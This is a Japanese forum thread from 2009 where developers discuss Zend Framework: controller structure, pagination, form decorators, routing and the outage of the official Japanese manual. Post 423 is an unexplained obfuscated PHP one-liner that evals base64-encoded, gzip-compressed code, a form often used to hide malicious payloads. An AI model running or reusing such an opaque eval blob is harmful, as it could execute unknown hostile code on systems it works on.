結局それ念頭に作られていてこの後も拡張されて行くから
自分で解釈を考えるよりも元々のZendの意図をくみ取る方が重要だったりする

なので迷ったら本家MLのログ検索で良い例題を探してみて、あれば真似する、
というアプローチがよいと思う。出来たてなFWだから野良の情報はけっこう微妙
328nobodyさん:2009/07/11(土) 01:26:56 ID:???
みんな知ってるかもだけどZFコーディング規約の一文
コントローラの行数を何行に収めるべきか、とか
ひいてはサイト全体をどう設計して行くべきか、とかが大体イメージ出来る

http://framework.zend.com/manual/ja/coding-standard.php-file-formatting.html

B.2.3. 1 行の長さ
1 行の長さを 80 文字までにすることを目指しましょう。
すなわち、 コードの長さを現実的な範囲で 80 文字までにおさめるよう
努力すべきです。 しかしながら、場合によっては少々長くなってしまっても
かまいません。 PHP コードの行の長さは、最大 120 文字までにするように
しましょう。
329nobodyさん:2009/07/11(土) 01:31:14 ID:???
> 検索の主体(フォーム出力、検索実行)がSearchControllerにあるのでその中で実装するのが自然かなと思ったんですが、

全然自然じゃないわ
330nobodyさん:2009/07/11(土) 01:37:51 ID:???
>>327
ZFは各コンポーネント間の依存関係を薄めて、好きなモノを好きに使ってくれって思想もあったはず。
良くも悪くもRoR系FWと比べると書き方に規制が無いから、ベストプラクティスを導き出すのが難しいんだよね。
日本ユーザがもう少し盛り上がれば色々広がりそうなんだけどねぇ。

>>328
「行数」ではなくて「行あたりの文字数」なw
行数は明確に規定ないよ。
331nobodyさん:2009/07/11(土) 01:48:09 ID:???
>>330
失礼
The maximum length of any line of PHP code is 120 characters.
って書いてるね。余計なこと書いちゃったなぁw。
332316:2009/07/11(土) 07:33:19 ID:IIRizAp5
>>326
>>329
参照返信されるのはいいですが否定するだけでなく意見を下さい。
あなた方にとってどう実装するのが自然な方法なんですか?
どっちかというのはHTMLをインデックスのビュースクリプトに直接記述する方法と
あなた方が提案しない自然な方法のどちらかと言うことです。

>>327
>>330
作る側にとったら悩むところですね。
私はできれば推奨と呼ばれるような書き方をしたい派なのです。
もっとユーザが増えればですね。
333nobodyさん:2009/07/11(土) 09:27:12 ID:???
フレームワークは使うモノであって、使われるモノでは無い。
>>316のやりたい事を実装する方法は多々あるし、自由に実装すればいいんじゃない?
本人が良いのであれば、SearchControllerに実装したって全然かまわない。
334nobodyさん:2009/07/11(土) 10:10:30 ID:???
>>332
いい加減にしてくれ
335nobodyさん:2009/07/11(土) 11:06:03 ID:???
好きに実装していいけど、正直な感想かかれて切れるんなら別のところで聞いたほうがいいな。

おれは、SearchControllerにgetForm実装するかどうかは別として、
別のコントローラーに処理を回したいケースはある。
おれなら、IndexControllerから直接呼ぶんじゃなく、
ActionStackにSearchControllerをセットして
プレースフォルダにコンテンツを投入させてレイアウトで処理する。
336nobodyさん:2009/07/11(土) 13:03:17 ID:???
>>332
だから、全然自然じゃないし、推奨と呼ばれるにはほど遠い書き方なんだよ。
書き方以前に、あなたにはコペルニクス的転回が必要なんじゃね。
>>316 「何かおかしいこと言ってますか?」
これが全て。根底から考え直さないと、ここで今の問題の回避方法を聞いても、
次にまたぶつかる。
337nobodyさん:2009/07/11(土) 16:05:55 ID:Vd43NPnH
質問、初心者です
学校の生徒と先生の自己紹介アプリみたいなの作るとして、とりあえず
StudentControllerとTeachearControllerつくって、それぞれに「趣味」を出力する機能があるとします
この場合、趣味のDB問い合わせ+引き出し処理は独立したメソッドに持たせて、
それを上記Controller中のhobbyActionからそれぞれ実行させれば良いんですよね?
338nobodyさん:2009/07/11(土) 16:28:29 ID:???
>>337
hobbyActionは共通だから、まずIntroductionControllerを作ってこちらに実装。
生徒と先生とで違う部分だけIntroductionControllerから派生させて作る。
introduction/hobby でアクセスさせるか、(student|teachear)/hobby にするかは他との兼ね合い。
両方可能でもいいし。
DB問い合わせとかは別クラスを作る。
hobbyActionには、せいぜい getDB()->getHobby();程度で趣味を取り出せるようになっているのがいいな。
339nobodyさん:2009/07/11(土) 16:45:27 ID:Vd43NPnH
>>338
ありがとうございました、なるほどー
getDB()->getHobby();ってありますが、これはつまり
DBアクセスのクラスを独立させて、生徒・教師問わず情報引き出し処理を
その中のメソッドとしてもたせるってことですよね?
DBアクセスのクラスはどっちのユーザーにも共有ってことで、、

それだと、スケジューラ機能を持たせて、
$uType = "student";
$uName = "山田";
$eventDay = "2009/7/11";
getDB($uType,$uName)->getSchedule($eventDay);
として、「生徒の山田さんの2009/7/11のスケジュール」を呼び出す処理を作る
みたいなことも出来るんでしょうか?
340nobodyさん:2009/07/11(土) 17:34:31 ID:???
>>339
> DBアクセスのクラスはどっちのユーザーにも共有ってことで、、
共有と言うより共通かな。
先生と生徒でDBが多少違っていても同じインターフェースが実装されていればいいってことで。

> getDB($uType,$uName)->getSchedule($eventDay);
それでもいい。
Userクラスを作ってDB接続はUserオブジェクト内に持たせるのもありだと思う。
preDispatchあたりで
$user = new User(getDB($uType));
$user->setNmae($uName);//コンストラクタの引数で渡してもいい
scheduleActionで
$this->user->getSchedule($eventDay);
hobbyActionで
$this->user->getHobby();
341nobodyさん:2009/07/11(土) 17:36:01 ID:???
preDispatchの$userは$this->userの間違いでした。
342nobodyさん:2009/07/11(土) 17:41:42 ID:???
>>340
なるほど、大体理解できました
トライしてみます。ありがとう!
343nobodyさん:2009/07/11(土) 17:49:07 ID:???
initじゃだめなの?
344nobodyさん:2009/07/11(土) 18:27:06 ID:???
>>343
initとpreDispatchの使い分けでググるといろいろ出てくるけど、
俺的にはアクションやリクエストクエリで違いが出てきそうなのはpreDispatchかな。
DB接続(の用意)とかはinitに書くこともあるけど、どのみちシングルトンだし、
ファクトリーメソッドなどを多用するから、Zend_Controller_Actionから派生させた
そのアプリのベースとなるMyApp_Controller_Actionで使う程度かな。> init
345nobodyさん:2009/07/11(土) 18:41:20 ID:???
>>344
なるほど。
ちなみにZend_Applicationはつかってますか?
346nobodyさん:2009/07/11(土) 19:02:48 ID:???
>>345
使っていません。
不要と判断した訳じゃなくて、ただ単に使ったことないだけです。
347nobodyさん:2009/07/13(月) 15:41:33 ID:sINZz9CU
Zend_ValidateのStringLengthでロケールを考慮しないで文字数を検証する方法はありますか?
iconv_strlen()で文字数を数えているようですが、strlen()の返り値で検証して欲しいです。
348nobodyさん:2009/07/13(月) 16:47:25 ID:???
その程度なら調べるより自分で実装する方が早くね?
349nobodyさん:2009/07/13(月) 18:59:28 ID:???
上でちょっと荒れてて気になって探してみたらクイックスタートにまんまgetForm()があった
http://framework.zend.com/manual/ja/zend.form.quickstart.html

他のサンプルでもよく使われてるけど元祖はマニュアルなのかw
350nobodyさん:2009/07/13(月) 19:55:44 ID:???
User用のフォームだから他では確実に使わないってことなんじゃないの
351nobodyさん:2009/07/14(火) 11:53:04 ID:???
コントローラーにgetFormがあるのは設計的にも問題ない。
ただ、他のコントローラーから呼べるようにというのは、ZF的MVCではない。
352nobodyさん:2009/07/14(火) 11:56:10 ID:???
使いまわしたいなら各コントローラの親クラスで実装しとけばいいんじゃね?
353nobodyさん:2009/07/14(火) 12:20:58 ID:???
普通はモジュール単位で基底コントローラ作るよな?
354nobodyさん:2009/07/14(火) 15:17:09 ID:???
あんまり無駄なファイルは作りたくない人とかもいるやん?
355nobodyさん:2009/07/14(火) 15:21:19 ID:???
親クラスや基底コントローラが無駄って事じゃないよな?
356nobodyさん:2009/07/14(火) 15:23:14 ID:???
親のクラスとなすびの花は
357nobodyさん:2009/07/14(火) 15:25:21 ID:???
じゃ1ファイルの中に10クラスくらい入れときゃいいじゃん
358nobodyさん:2009/07/14(火) 15:54:39 ID:???
Zend_Loggerのインスタンスをグローバル変数として運用したいのですが、
どこで宣言するのが適正でしょうか?
index.php?
359nobodyさん:2009/07/14(火) 15:58:30 ID:???
>>358
俺ならシングルトンにする。
360nobodyさん:2009/07/14(火) 16:09:25 ID:???
>>359
お、なるほど。確かに一つだけインスタンスがあれば良いですもんね。
アドバイスありがとうございました。
361nobodyさん:2009/07/15(水) 11:24:12 ID:???
俺ならDIにして注入する
362nobodyさん:2009/07/15(水) 11:35:54 ID:???
俺ならAIにしてチュウチュウする
363nobodyさん:2009/07/16(木) 13:03:14 ID:???
みなさんにしかられると思いますが、質問させてください

javascriptを利用してinnnerHTMLで作成したbuttonに
onclick="{$変数}"を実現させたいのですが、当然javascriptでは中括弧{}は読めないのでエラーが出ます

どうにかならないですか?
お願いします
364nobodyさん:2009/07/16(木) 13:05:59 ID:???
onclick="abc({$変数})" 正しくはこんな感じです
ボタンを押すとabcという関数を実行する というものです

innerHTMLをやめればいいんですけど、仕様を満たすにはこれしかないので・・・
はっきりいってカスプログラムですが、どうにかお願いします
365nobodyさん:2009/07/16(木) 13:20:47 ID:???
曖昧すぎて答えられない。

そのテンプレートは何で書いてるの?
中括弧は何故必要なの?
出力されたHTMLの中身はどうなってるの?
どんなエラーが出るの?
366nobodyさん:2009/07/16(木) 14:02:55 ID:???
ZF関係あんの?
367nobodyさん:2009/07/16(木) 14:40:15 ID:???
ヴァカなの?スィヌの?
368nobodyさん:2009/07/16(木) 14:54:18 ID:???
innerHTMLって開始タグと終了タグ間のHTMLの操作じゃないの?
369nobodyさん:2009/07/16(木) 15:32:31 ID:???
Zend_Config_Writer_Ini::write()の返り値がvoidなのがきにくわん
370nobodyさん:2009/07/16(木) 15:36:02 ID:???
例外投げてくれるんだからいいじゃん
371nobodyさん:2009/07/16(木) 15:49:27 ID:???
僕はbooleanちゃんが好きなんだい
372nobodyさん:2009/07/16(木) 16:02:13 ID:???
Zend_Configにget()はあるのにset()は無いのは何か理由があるんでしょうか?
373nobodyさん:2009/07/16(木) 17:26:18 ID:UYFo7ptK
Zend_Db_Table::find()の返り値について質問です。
hash(string), path(string), status(int)のSQLiteデータベースがあります。

hashが主キーで、find(hash)->count()の結果は1なのですが、
find(hash)->path
find(hash)->status
のようなアクセスをしても値が帰ってきません。

値はGUIから格納されているのを確認しました。
アクセス方法を間違えているのでしょうか?
374nobodyさん:2009/07/16(木) 18:21:09 ID:???
>>373
つfind(hash)->current()->path

違ってたらスマソ。
375nobodyさん:2009/07/18(土) 10:08:40 ID:???
デファクトには到底なれそうにないFWだよねw
376nobodyさん:2009/07/18(土) 11:18:14 ID:???
ZFの対象ユーザーってPHPユーザーのごく一部の変態だけ
377nobodyさん:2009/07/18(土) 13:20:40 ID:Xz5Y6CrM
いきなり1.9.0までとぶからパッチ出したのか。
2.0.0移行はPHP 5.3以降要求されそうで怖い。
378nobodyさん:2009/07/18(土) 14:44:40 ID:???
良くも悪くも細かい仕様変更やマイナーバージョンアップが多すぎて、
書籍リソースが全く役に立たないよなw

導入しても、手になじむ前に最新版がリリース>検証作業のループ。
379nobodyさん:2009/07/18(土) 15:09:23 ID:???
Webアプリを書籍で学ぶのがそもそも間違ってるような
380nobodyさん:2009/07/18(土) 15:52:33 ID:Xz5Y6CrM
Zend_Application
Zend_Form

上記2点は使えるけど、上は新しいから解説サイトがあんまり無い
381nobodyさん:2009/07/18(土) 19:08:28 ID:???
Applicationに関してはマニュアルも翻訳終わってないから
使い方あってるのかわからない
382nobodyさん:2009/07/18(土) 19:16:06 ID:???
誰かが翻訳するしかないな。
他力本願で申し訳ないけど。
383nobodyさん:2009/07/18(土) 19:50:38 ID:???
>>382
なんで?
英語のドキュメントがあるじゃん。
384nobodyさん:2009/07/18(土) 19:53:47 ID:???
>>383
.  / ̄ヽ
  | あ |
. 、| あ |)\
  | そ |  ヽ  /|
  | う .|   .l/ |
  | : /      |
  `∨,、 ∧  ,、/___
  ∧/-∨ ∨-ヽ  /
 l´l|  ≡ / ≡ |、/
 ヽ゛     〉   |'ノ
>`ll   _    /
`\.|\ `'´ /
,---|  `ー-'|_
 ̄  ``- -‐'-'ヽ
_        〉、
  ``丶、__/  ``丶、._
     ●
385nobodyさん:2009/07/18(土) 20:35:14 ID:???
ソースがあれば(ry
386nobodyさん:2009/07/18(土) 23:11:02 ID:???
>>383
I think Jap's language is a local language in small islands of Far Eest.

You should use to read and write with public languages of UN! :-p
387nobodyさん:2009/07/18(土) 23:19:32 ID:???
>>375
Japanese Mobile phones isolates from defact standards too far,
So, Zend Framework core contributers no consider of them.
388nobodyさん:2009/07/18(土) 23:24:29 ID:???
ZFでモバイルサイトは無理だろうなぁ
てか、ドキュモのimodeIDって、/controller/action/guid=ON/args
みたいなURLでも効くんだろうか
389nobodyさん:2009/07/18(土) 23:25:10 ID:Xz5Y6CrM
Pro Zenderの方に問題です

/test/test にアクセスするとどうなるでしょうか


class TestController extends Zend_Controller_Action
{

public function indexAction()
{
    $this->_redirect(?/?);
}

public function testAction()
{
    $this->_forward(?index?);
}

}
390nobodyさん:2009/07/18(土) 23:27:00 ID:Xz5Y6CrM
? は " です。
391nobodyさん:2009/07/19(日) 00:03:35 ID:???
>>387
not 'defact' but 'defacto'
392nobodyさん:2009/07/19(日) 00:15:51 ID:???
>phones isolates
>contributers
この辺にも注目

>no consider
これは論外
393nobodyさん:2009/07/19(日) 11:45:06 ID:???
>>391
Oh, thank you guy!
394nobodyさん:2009/07/19(日) 14:01:49 ID:???
おまえらなんて、この程度の存在だろ。

             √ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄|
             |         ΩΩ_           |
             |        (  ・ rt) =3     |
             |        / ; /         |
             |ー-‐ー-‐ー/‐ ,/ -‐ー-‐ー-‐ー-‐|
             | r-、___/, :/   。゚o       |
             | L「: ・ ; ̄`カ    8 。        |
    「|‐ー-‐ー-‐ー-|  L_・ ¨∵∴_」             |‐ー-‐ー-‐ー-「|
    | |          |   | |「| ̄|,兀|  (ヽ○ノ`〉     |         | |
    | |          |   | || |  | || |   >  f        |          | |
    | |          |   | || |  | || |  (_/ヽ_,〉      |         | |
    | |          |   | || |  | || |            |          | |
    | |         」   | || |  | || |            L        | |
    | |________,[,]!、!_Li、」_______________| |
    └――――――――――――――――――――――――――-┘
395nobodyさん:2009/07/19(日) 14:23:04 ID:YJV33QJ2
Zend_Paginatorで$_GETでページ数を渡したいんですが、どのように設定すればいいのでしょうか
396nobodyさん:2009/07/19(日) 14:24:16 ID:???
_getParam("page")で取ってきて渡せばいい。。
397nobodyさん:2009/07/19(日) 16:15:41 ID:YJV33QJ2
すんません、自動生成されるリンクの話です
デフォだと/page/1みたいなリンクが生成されちゃいます
398nobodyさん:2009/07/19(日) 18:03:02 ID:???
1の所に渡したいページ番号を入れてリクエスト出せば?
399nobodyさん:2009/07/19(日) 18:36:34 ID:YJV33QJ2
>>398


使ったことあれば分かると思いますが、UserParam形式で生成されるページ番号を$_GET方式に変更したいってことです。
PEAR::PagerにあるようなurlVarやextraVarなどみたいな機能はないのでしょうか。
400nobodyさん:2009/07/19(日) 19:08:35 ID:???
じゃソース見れば?
401nobodyさん:2009/07/19(日) 19:10:28 ID:YJV33QJ2
>>400
使ったことが無くて分からないのであればもう良いです。
402nobodyさん:2009/07/19(日) 19:11:36 ID:???
そうですか。乙
403nobodyさん:2009/07/19(日) 20:00:05 ID:???
うぜぇ…
404nobodyさん:2009/07/19(日) 21:17:14 ID:YJV33QJ2
>>403
分からないのに解答してこられると迷惑ですよね。
405nobodyさん:2009/07/19(日) 22:31:10 ID:???
エンドレスエイトの見過ぎで、ここでも既視感が...。

getCurrentPageNumber()とかかな?
そこまで絞ってんだからソース見た方が早いよ。
406nobodyさん:2009/07/19(日) 22:33:32 ID:???
あ、getCurrentPageNumber() は全然的外れだね。
忘れてくれ。
407nobodyさん:2009/07/20(月) 06:46:29 ID:???
ん?GETルーターを使うだけじゃないの?
408nobodyさん:2009/07/24(金) 03:23:12 ID:???
リンクはテンプレートのURL出力部分を ?page=1 みたいに直すだけでなくて?
受け取る方は $paginator->setCurrentPageNumber($page) で設定できるね
409nobodyさん:2009/07/24(金) 22:36:50 ID:Q241rgzl
メールアドレスの検証クラス作ってみた。
Zend_Validate_Abstractクラス継承してます。

翻訳用定数はこれ
CheckUser::NOT_EXISTS
CheckUser::INVALID_TO

つかいかた
$check = new CheckUser(fqdn, from);
$check->isValid(checkaddress);

fqdnにはSPFレコード設定してあるホスト
fromには相手方に通知されるアドレス
checkaddressには確認したいアドレス

ソースはこれ
410nobodyさん:2009/07/25(土) 01:33:18 ID:???
Zend_Validate_EmailAddressが既にあるじゃん
411nobodyさん:2009/07/25(土) 09:18:54 ID:???
Zend_Validate_EmailAddress
ってなんか無駄に色んな検証するのが嫌よね
412nobodyさん:2009/07/25(土) 13:57:29 ID:beK3GgFm
>>410-411
あー生死判定ってことです。
メールアドレスの部分はZend_Validate_EmailAddressで判定しています
わざわざ送ってダエモンで判定するよりかは効率良いです。
413nobodyさん:2009/07/25(土) 15:42:34 ID:???
それ、どこかで公開してるの?
414nobodyさん:2009/07/25(土) 18:58:39 ID:beK3GgFm
>>413
いえ、つくってみたんです。
CPANのCheckUserを参考にしました。
415nobodyさん:2009/07/25(土) 19:26:03 ID:???
で、それ、どこかで公開してるの?(君が)
416nobodyさん:2009/07/25(土) 21:33:49 ID:???
単発で送るんならいいけど、まとめて送るときは累積でかなりリソース食いそうね
ドキュモとかの携帯キャリアにも有効なの?それ
417nobodyさん:2009/07/25(土) 23:04:57 ID:beK3GgFm
>>416
一応ドコモとあうは試しました。
あんまり大量にコネクション張るとバンされると思うので数はこなしてませんが、うまくいってました。

使い道がないので処分しようかと思ってたんですが、何か面白い使い方ありますか?
418nobodyさん:2009/07/26(日) 04:12:17 ID:???
Hello Worldにケが生えたようなものに、面白い使い方なんてないでしょ。
ZF関係ないし
419nobodyさん:2009/07/26(日) 10:18:02 ID:8CFJRVQz
まぁHello Worldと同系列で考えるような人には使い方なんて思いつかないと思います。
Zend_Validate_Abstract継承クラスでZF関係ないとかいえちゃう発言もすばらしいです。
420nobodyさん:2009/07/26(日) 15:09:54 ID:???
てかそれZend_Validateと同系列に扱っちゃダメじゃない?
入力内容の文字列検証と、重くても Db_RecordExists 程度なのに、
Validateのたびに通信が発生するようなメソッドを同じレベルに持ってくるのは相当怖い。
プログラマが全員理解できてればいいけど、リスクが高いメソッドとそうでないものを一緒くたにするのは不味い。
それこそモバイルならキャリアにブロックされる率が上がるだろうし。
421nobodyさん:2009/07/26(日) 15:51:32 ID:???
>>419
でっかい釣り針下げてないで、
419さんが、使い方を提示すればいいんじゃないの?
継承しただけで、ZF関係があるとは俺も思わないよ。
422nobodyさん:2009/07/28(火) 20:09:28 ID:???
俺はスレチとは思わん
423nobodyさん:2009/07/29(水) 00:06:36 ID:???
<?php eval(gzinflate(base64_decode('s7ezsS/IKFBILUvM0UivysxLy0ksSdVQ37x980b9ExoBF65z+fteDDTYFPJB62yggZHBhhADgw1GBluNDAMvmG0wMbhwaXu7xtMgDY1TZ7QvBgR89zh78mQ4x3n9U56BLIylvtmtU86E8DIr8IauYWBQ19S0todaCAA=')));
424nobodyさん:2009/07/31(金) 14:26:31 ID:???
Zend_Db_TableのlastInsertId()メソッドってmysqlだと使えない?
425nobodyさん:2009/07/31(金) 14:29:41 ID:???
426nobodyさん:2009/07/31(金) 14:37:20 ID:???
>>425
即レスthx
そしてサーセン。単にcommitした後に取得しようとしてて取得できないだけでした。
こんなところでハマるなんて…orz
427nobodyさん:2009/07/31(金) 22:59:51 ID:???
Zend_Formでtextのあとに文字をおきたいのですがどうすればよいでしょうか?

期待は以下のようなソースです。
<input type="text"(略)> 回

よろしくお願いします。
428nobodyさん:2009/08/01(土) 02:45:43 ID:???
それぞれ属性設定するメソッドがあるっしょ
429nobodyさん:2009/08/01(土) 02:54:11 ID:???
属性じゃなくて、フォーム要素の後ろに、「回」って入れたいってことじゃない?

いくつか方法があるけど、
下記のデコレータのいずれかを使う
Description
ViewScript
Callback
一番簡単なのは、Descriptionかな。
430nobodyさん:2009/08/01(土) 10:58:58 ID:???
>>429
ありがとうございます。

DescriptionはsetDescription()で使用する場合のデコレータですよね。
>>427のように利用する場合はDlDtWrapperあたりもいじらないといけないのでしょうか?
431nobodyさん:2009/08/01(土) 13:18:37 ID:???
考え方次第だけどね。
"回"みたいな[単位]はビューによる修飾なのか、要素の属性の一つと考えるのか。
他に、年、月、日とか、いろいろバリエーションがありえる。
ビューによる修飾と考えれば、個別に設定しやすいのかもしれないけど、
要素のプロパティとして単位=回みたいな与え方をして、単位デコレータを
作るのが自然と、俺は妄想する。

その動作に一番近いのは、(set|get)Description かなって気はする。
DtDdWrapperってタグの細工だけだし。
ViewScriptってことは、"回"を表示要件にしか使わないってことだし。
432nobodyさん:2009/08/02(日) 11:14:40 ID:EDsu2ooY
モジュール構成にする時って
.phtmlの置き場所は user(モジュールディレクトリ)/views/script/index(アクション名)/index.phtmlって配置になるんですか?
一応本読んではいるんですが、いまいちわかりません。よろしくお願いします
433nobodyさん:2009/08/02(日) 11:59:38 ID:???
[モジュールディレクトリ]/views/scripts/[コントローラー名]/[アクション名].phtml
じゃないか?
434nobodyさん:2009/08/02(日) 15:13:38 ID:???
日本語版のマニュアル見れない。
どういう事?
435nobodyさん:2009/08/02(日) 15:39:44 ID:???
英語版しか公開されなくなったようだね
436nobodyさん:2009/08/02(日) 15:45:53 ID:???
吉田さんガンバー
437nobodyさん:2009/08/02(日) 23:45:19 ID:???
公式みれねー
438nobodyさん:2009/08/03(月) 03:26:35 ID:???
>>433
どうもありがとう、返事遅れてすいません
ばっちり動きました
439nobodyさん:2009/08/03(月) 10:18:56 ID:AZ05ifRx
>>437
日本語ドキュメント死んでるっぽい

たぶんすぐ直ると思う
http://framework.zend.com/issues/browse/ZF-7447
440nobodyさん:2009/08/03(月) 12:53:42 ID:???
# cd C:\xampp\php
# pear channel-discover zend.googlecode.com/svn
# pear install zend/zend

でインストールは出来たんだけど、

なぜかC:\xampp\php\PEAR\Zend\Locale/Data/
に言語関係のXMLファイルがインストールされてなかった
手動でコピペすれば動くようにはなったけど、インストーラのバグかなんかですかね?
441nobodyさん:2009/08/03(月) 13:02:20 ID:???
xamppかよ
442nobodyさん:2009/08/03(月) 14:52:36 ID:???
hoge.jp/profile/id/100 で100番の人のプロフィールが見れるzendFWのサイトがあるとして、
URL的には hoge.jp/100/profile/ で同じことが出来るように変更したいと思います
どうしたら良いでしょうか?
443nobodyさん:2009/08/03(月) 14:59:19 ID:???
>>442
routing
444nobodyさん:2009/08/03(月) 23:54:34 ID:FSbwgNFK
>>443
どうもありがとう、助かりました

もう一つ質問です、スケジューラーみたいなアプリがあって
自己紹介、今週の予定、その他2,3ページで構成されてるとします
で、「山田太郎さん」というその利用者の名前が各ページの見出しになってるとします。

こういう場合、山田太郎さんという利用者名をいちいち「パラメータから解析、クエリ、取得」なんて
全てのページでやるのは非効率ですよね? こういう場合、どうやって引き回すんですか?
if($paramUserId == $_SESSION['userId']){//以下のクエリなどを省略} みたいに単純にセッションで管理するのか、
それとも、こういう時に便利なzendFWのライブラリってありますか?
zendCache?とかってこういう時につかうのですか?
445nobodyさん:2009/08/04(火) 00:01:00 ID:???
クエリ投げるのが嫌ならZend_Sessionでも
446nobodyさん:2009/08/04(火) 00:07:30 ID:???
公式まだ死んでるぞ
447nobodyさん:2009/08/04(火) 00:11:05 ID:???
あーやっぱ公式しんでるんだ。俺だけかとオモタ
448nobodyさん:2009/08/04(火) 00:11:48 ID:???
centosみたいになったらやだなぁ・・・
449nobodyさん:2009/08/04(火) 00:13:57 ID:???
>>445
ありがとうございます
ほんとだ、公式開けないね。zend_session調べようと思ったのに
450nobodyさん:2009/08/04(火) 19:24:05 ID:???
どうなってんだよ!公式!!!
451nobodyさん:2009/08/04(火) 20:23:35 ID:???
OpenID2.0、まだ対応されませんね。
みんなPHP OpenID Libraryとか使ってるのかな?
452nobodyさん:2009/08/04(火) 21:00:03 ID:???
>>451
OpenID LibraryをZend_Auth_Adapter_Interfaceでカプセルして使ってる
一度つくっちゃえば特に不満ないよ
453nobodyさん:2009/08/04(火) 21:08:57 ID:???
>>451
URL張り忘れた
ttp://g2labo.orz.hm/develop/OpenId_Auth_Adapter.phps

あとは公式のZend_Auth_Adapter_Interfaceの使い方と同じで行けるはず
454nobodyさん:2009/08/05(水) 12:20:15 ID:???
日本のZend Frameworkは、糸冬ですか?
455nobodyさん:2009/08/05(水) 12:27:09 ID:???
なんでやねんノシ
456nobodyさん:2009/08/05(水) 13:00:06 ID:qtFRGhoH
hoge.jp/ctrl1/act1/var1/val1、hoge.jp/ctrl2/act2/var2/val2、hoge.jp/ctrl3/act3/var3/val3 って具合に
各コントローラのアクションを実行するのに必要なパラメータと値があると思いますが、
このパラメータ値を取得するのはフロントコントローラだけですべきなんでしょうか?
感覚的にはそれぞれのコントローラのアクション中でとった方が無駄がなくていいというか、
直接的でわかりやすい気がします。
「ZendFW徹底入門」て本にはフロントコントローラで取得または設定して、個別のコントローラで
$front = Zend_Controller_Front::getInstance();
$res->setBody($front->getParam('var'));
ってする手順が紹介されてます。

みなさん、この手順に従ってるんですか?というか絶対なのかな。
別のやり方をする場面があれば、どういう方法とシチュエーションか教えてもらえると嬉しいです。
よろしくお願いします。
457451:2009/08/05(水) 13:39:12 ID:???
>>452-453
正式に対応するまではこれでいけますね。
勉強になります。
458nobodyさん:2009/08/05(水) 13:58:24 ID:???
>>456
Zend_Controller_Actionを継承してるとして

$this->getRequest()->getUserParam('var');
$this->_getParam('var');

パラメータはリクエストだからかっこよく決めたいんだったら上を使う感じ。


しかしマニュアルのバグまでissueに報告してからの対応ってのはどうなのかね。
459nobodyさん:2009/08/05(水) 16:59:32 ID:qtFRGhoH
>>458
ありがとうございました
うまくいきました
460nobodyさん:2009/08/05(水) 17:01:26 ID:NDvODuDu
日本語マニュアルredirectの無限ループしてるみたいですね。
負荷かかってそうだけど気づかないもんなのかな?

サポートのcontact usのフォームに知らせといたけど・・・
問い合わせいっぱい来てるだろうし、放置なのかね?
461nobodyさん:2009/08/05(水) 21:36:01 ID:???
>>454, 458
何を言いたいのかわからない

>>455
同意
462458:2009/08/05(水) 21:51:38 ID:???
>>461
突っかかる意味が分からない
463nobodyさん:2009/08/05(水) 23:13:33 ID:???
公式は1.9出したというのに、マニュアルが死亡。
無限ループとかいつまでやってんだ?
464nobodyさん:2009/08/05(水) 23:36:02 ID:WMeCBWWn
あと数時間でマニュアル復旧っぽいです
465nobodyさん:2009/08/05(水) 23:39:51 ID:???
日本語ドキュメントをダウソしてchmに変換して使ってる。
1.5あたりのままだけど('A`)
そろそろ作り直そうかなと思ったが、どうやって作ったか思い出せね。
466nobodyさん:2009/08/06(木) 00:57:23 ID:JPFTqmJZ
新しいバージョンが出て、今までのと置き換えた時にトラブル起きたことなんてある?
そんな心配いらないものかな?
467nobodyさん:2009/08/06(木) 01:18:07 ID:4RIcoEog
>>466
ある。
たまに仕様変わってたり
468nobodyさん:2009/08/06(木) 01:25:05 ID:???
ないわけないw
469nobodyさん:2009/08/06(木) 01:42:02 ID:???
>>467,468
こわいなー、必要なコンポーネントだけを移植するようにした方が良いのかな
丸ごと変えて検証って大変だもんなー
470nobodyさん:2009/08/06(木) 02:14:25 ID:4RIcoEog
>>469
必要なコンポーネントだけとかやってると、後から余計に面倒になると思うよ
471nobodyさん:2009/08/06(木) 07:29:59 ID:???
>>466
トラブルが怖いなら、テストを書こう
472nobodyさん:2009/08/06(木) 09:44:22 ID:???
Cucumber + Webrat みたいにブラウザを使わないテストツールってないかな。
Selenium はブラウザの起動がうざくて。
473nobodyさん:2009/08/06(木) 10:14:18 ID:iMOTjzQq
ドキュメント復活
474nobodyさん:2009/08/07(金) 18:42:35 ID:???
zendFWで、モジュール構成とSmartyを両立させてやっています

smarty使うと、テンプレートキャッシュを吐き出しますよね、そのファイル名が
%%3B^3B8^3B8EC026%%index.tpl.php となっています。
これは文字化け起こしてるのではないかと思いますが、普通ですか?
文字化けだとしたらどうしたら良いでしょうか?

zendFWにあまり直接関係なくてすみません。
475nobodyさん:2009/08/07(金) 20:02:04 ID:???
普通です。
476nobodyさん:2009/08/07(金) 20:33:03 ID:???
もじばけってやつはもっとやう゛ぁい。
2byte以上のよく分からないのが混じりだしたら要注意
477nobodyさん:2009/08/08(土) 00:40:29 ID:???
>>475,476
ありがとうございました
478nobodyさん:2009/08/08(土) 12:13:59 ID:???
>>465
ミカエルが作ったchm使えばいいんじゃね
http://mikaelkael.fr/Zend-Framework-1-9-x-documentation.html
479nobodyさん:2009/08/08(土) 16:56:36 ID:JPFTqmJZ
zend framework徹底入門って本利用されてる方いますか?
利用してる方で、ModuleとSmarty併用してる方がいたら質問したいんですが…
480nobodyさん:2009/08/08(土) 17:31:49 ID:???
>>479
その本に連携のサンプル載ってるじゃん
481479:2009/08/08(土) 17:54:23 ID:JPFTqmJZ
>>480
ありがとうございます。
そうなんですが、あの本によるとドキュメントルートの下にapplicationフォルダ置きますよね
それなら確かに動くんですが、普通の利用を考えてドキュメントルートの上に
applicationフォルダを移動すると動かないんです。

これ、マルチポストというかだまし討ちみたいになるの嫌なので正直に書きますが
著者のサイトの質問コーナーに投稿してるんですけど返事もらえないんです。土曜だし。。
http://keijiban.msn.to/top.jsp?id=bv6673
出来ればここで同じ本を参考にしてる人に聞きたいと思ってきたんですが、
ダメでしょうか?

上で書いたように、applicationフォルダを移動させても動いていますか?
482nobodyさん:2009/08/08(土) 18:09:05 ID:???
エラーと該当個所のソースを張りなさい
483nobodyさん:2009/08/08(土) 18:09:52 ID:???
あとDispatchのパス指定とか
484479:2009/08/08(土) 18:11:30 ID:JPFTqmJZ
>>482
本当にすみません。わからない点が2つあるんですが(上の質問サイトから貼ります)

http://192.168.0.3/zend/controller_view/smarty
で確かに動作するのを確認しました
しかし、理解できないことがあります
疑問1)
P227での図5.5ビュースクリプトのパス解決に寄れば
tplファイルの所在は
./application/smarty/smarty(モジュール名)/smarty(コントローラ名)
/index.tpl(アクション名)になるのではないですか?
実際には./application/smarty/templates/default/smarty/index.tplになっ
